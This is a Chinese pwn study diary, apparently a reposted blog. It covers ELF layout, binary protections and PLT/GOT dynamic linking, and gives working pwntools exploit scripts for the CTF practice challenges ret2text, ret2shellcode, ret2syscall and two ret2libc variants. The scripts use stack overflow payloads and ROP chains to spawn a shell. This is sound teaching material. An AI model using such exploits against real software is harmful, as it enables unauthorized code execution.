pwn学pwn日记(持续更新)

Posted woodwhale

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn学pwn日记(持续更新)相关的知识,希望对你有一定的参考价值。

【pwn】学pwn日记(持续更新)

前言

从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用。

学习视频链接:XMCVE 2020 CTF Pwn入门课程【星盟安全】PWN系列教程(持续更新)

学习文章链接: CTF Wiki

elf文件

未初始化的全局变量glb,编译出来在内存中bss中

初始化的全局变量str(没有被修改过),编译出来在内存中data

而hello world在text段中

main和sum函数都在text段中,以机器码形式存放

局部变量t和prt放入栈中

malloc出来的空间放在heap中

32位栈结构

编译保护

ASLR:栈地址随机化(必定打开)

NX:栈保护

Canary:防止缓冲区溢出

PIE:地址无关代码,随即bss、data、text

ret2text

这种题型适用于文件中藏了后门函数的,直接通过栈溢出ret到这个后门函数就可以拿到权限了。

exp如下

from pwn import *

io = process("./ret2text")

success_add = 0x0804863A

payload = b"bi0x"+b"a"*(0x6c) + p32(success_add)

io.sendline(payload)
io.interactive()

拖入ida看到system("/bin/sh")函数的执行地址为0x0804863A

下面就是计算偏移量

如何计算出偏移量为0x6c呢,使用pwndbg动态调试,0xffffd038-0xffffcfcc=0x68,加上pre ebp addr的4字节,加起来就是0x6c

ret2shellcode

因为现在绝大部分的pwn都开启了alsr(地址随机化),所以我们往往无法向栈中写入shellcode

现在有两种方法解决问题

  1. 如果缓冲区设置在.bss区域中,也就是可以更改全局变量,且NX关闭,bss具有写的能力,我们将shellcode写入这个全局变量中,shellcode就可以执行

  2. 使用nop滑梯,即使aslr随机更改地址,我们设置一个指向中间的返回地址,也有一定概率执行shellcode

这里使用第一种方法

使用pwntools自带的shellcode工具shellcraft编写一个shellcode

偏移量的测量和上面两题一样

from pwn import *

io = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())
success_add = p32(0x0804A080)

payload = shellcode.ljust(0x6c+0x4,b"b") + success_add

io.sendline(payload)
io.interactive()

ret2syscall

rop的构造

分别给寄存器赋值就行了

然后这里需要使用ROPgadget工具来查看,找到我们需要的构建rop链可以使用的寄存器

from pwn import *
io = process("./ret2syscall")
# io = remote("192.168.50.201",38045)
elf = ELF("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = next(elf.search(b"/bin/sh"))

ebx = bin_sh 
ecx = 0x0
edx = 0x0
eax = 0xb
int_0x80 = 0x08049421

payload = b'a'*112 + p32(pop_eax_ret) + p32(eax) + p32(pop_edx_ecx_ebx_ret) + p32(edx) + p32(ecx) + p32(ebx) + p32(int_0x80)

io.sendline(payload)
io.interactive()

ret2libc

动态链接和静态链接

动态链接生成的elf文件很小,和源代码大小差不多

静态链接生成的elf文件很大,是源代码的几倍,涉及到的函数越多,就越大

动态链接需要.so装载器,其中装载了libc-2.xx.so等文件

动态链接相关结构

link_map:保存进程载入的动态链接库的链表(因为可能不仅仅载入一个libc.so文件)

.dynamic节:提供动态链接的相关信息

.got:全局偏移量表

plt:解析函数的真实地址

.got.plt:保存函数地址

动态链接过程

第一次调用,foo去got.plt中询问foo真实地址,但是got.plt也不知道,让foo回去自己找这个地址,于是foo开始解析,解析后调用,将foo真实地址给got.plt,通过got.plt到foo真实地址

第二次调用,plt到got.plt,got.plt直接随着地址到了真实的foo函数地址

所以虽然我们不知道text段的system,但是我们只需要将system的plt地址知道,就可以到system的真实地址,调用真正功能

然后看ret2libc1,从这两张图知道,为什么填充完了局部变量缓冲区和ebp,再填充system函数之后需要加上4个字节的exit函数(这里的exit函数相当于一个返回地址),因为system函数地址+8字节才是system函数的参数,可以参考32位程序的堆栈图

所以这段栈溢出造成的攻击就是执行了两行代码:

  • system("/bin/sh")
  • exit(0)

32位程序的堆栈图

ret2libc1

在了解了上面的动态链接的过程,我们可以开始解题了

首先是最简单的ret2libc1

先给出exp:

from pwn import *

io = process("./ret2libc1")
elf = ELF("./ret2libc1")

bin_sh =next(elf.search(b"/bin/sh"))
sys = elf.plt["system"]

payload = flat([b'b'*112, sys, b'bi0x', bin_sh])

io.sendline(payload)
io.interactive()

libc1中,有system.plt,也有“/bin/sh”这个字符串的数据,所以我们只需要构造一个rop链就可以得到

自己画了一个张图,左边是原状态,右边是我们需要写的状态

填充的垃圾就是向gets函数中进行溢出112字节

为啥是112字节,我们用pwndbg调试一下

可以看到我们在gets的时候输入了8个A。这个数值被存入了eax中,而eax的地址是0xffffcfcc,与ebp(0xffffd038)的距离是108,在加上pre ebp addr的4字节,一共是112字节需要我们填充垃圾数据

在了解了这些信息之后,就可以写exp了

那么这里也是成功在本地运行

ret2libc2

libc2和libc1的区别就是,没有rodata节的"/bin/sh",所以需要我们自己构建一个

libc2中的bss段有一个buf2的全局变量,我们用这个buf2来当作缓冲区

右边的图相当于

gets(&buf2)

system(buf2)

我们只需要在交互的时候给buf2赋值/bin/sh就可以拿到shell权限

from pwn import *
io = process("./ret2libc2")

elf = ELF("./ret2libc2")

system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
bin_sh = elf.symbols["buf2"]

payload = b"a"*112 + p32(gets_plt) + p32(system_plt) + p32(bin_sh) + p32(bin_sh)

io.sendline(payload)
io.interactive()

运行exp,拿到shell

以上是关于pwn学pwn日记(持续更新)的主要内容,如果未能解决你的问题,请参考以下文章

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)

pwn学习之二

闭关学pwn第四天——掌握pwn中需要了解的汇编指令(对第一天栈做相应补充)

闭关学pwn番外——入门gdb

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

pwn闭关总结篇